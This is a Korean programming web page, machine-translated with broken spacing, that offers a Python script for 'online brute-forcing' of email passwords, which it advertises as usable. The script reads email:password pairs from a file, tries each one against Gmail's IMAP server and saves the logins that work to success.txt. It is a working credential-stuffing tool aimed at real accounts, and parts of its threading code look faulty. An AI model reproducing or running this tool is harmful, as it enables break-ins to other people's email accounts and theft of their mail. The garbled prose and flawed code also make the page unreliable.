Python 온라인 폭력 으로 메 일 계 정 암호 해독 기능 예시【테스트 사용 가능】
dic 사전 형식 은 다음 과 같 습 니 다(mail.txt).
[email protected]:password
[email protected]:password
[email protected]:password
이러한 유추 로 utf-8 인 코딩 형식 으로 저장 하 십시오.현재 스 크 립 트 디 렉 터 리 에 놓 아 도 수정 을 정의 할 수 있 습 니 다.
ssl https/imap 프로 토 콜 을 지원 합 니 다.
# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
Success_File = open('success.txt', 'a')
Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
Fail_File = open('fail.txt', 'a')
Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
strUserName, strPassWord = strAccountPwd.split(':', 1)
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
print('IMAP INDEX-------', IndexGmail)
print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
Write_Save_Fail_Gmail_Jobs(IndexGmail)
# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
try:
ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
except GmailImap4.error :
print('Logical errors - debug required')
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.abort :
print('Service errors - close and retry')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.readonly:
print('Mailbox status changed to read only')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
if (ResponseStatus[0] == 'OK'):
print('LOGIN SUCCESS')
Write_Save_Success_Gmail_Jobs(IndexGmail)
GmailImap4.logout()
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
GmailImap4.close()
print('LOGIN FAIL')
print(ResponseStatus)
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
return
# define global function
class Working_Zone_Thread(threading.Thread):
m_IndexStart = 0
m_IndexEnd = 0
def __init__(self, numEnd):
self.m_IndexEnd = numEnd
threading.Thread.__init__(self)
def run(self): # run process
while True:
if self.m_IndexStart < self.m_IndexEnd:
Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
self.m_IndexStart = self.m_IndexStart + 1
else:
break
def _delete(self):
threading.Thread._delete(self)
print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
IndexStart = 0
print('--------read----star--')
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
global GMAIL_BYTES_READED_TOTAL_SIZE
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
File_Read = open('mail.txt', 'r', encoding='UTF-8')
File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
line = File_Read.readline()
if line:
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
CbBytes = line.__len__()
GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
IndexStart = IndexStart + 1
else:
GLOBAL_READ_FINISH_STATUS_SUCCESS = True
break
print('gmail read num ', IndexStart)
File_Read.close()
print('---------read----end--')
# main entry
if __name__ == '__main__':
print('Main Thread Start : ')
while True:
if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
Read_Send_Single_Func()
wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
wzt.start()
wzt.join()
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
else:
print('data has run out : ')
break
print('Main Thread End : ')
더 많은 파 이 썬 관련 내용 은 본 사이트 의 주 제 를 볼 수 있 습 니 다.본 논문 에서 말 한 것 이 여러분 의 Python 프로 그래 밍 에 도움 이 되 기 를 바 랍 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Python의 None과 NULL의 차이점 상세 정보그래서 대상 = 속성 + 방법 (사실 방법도 하나의 속성, 데이터 속성과 구별되는 호출 가능한 속성 같은 속성과 방법을 가진 대상을 클래스, 즉 Classl로 분류할 수 있다.클래스는 하나의 청사진과 같아서 하나의 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.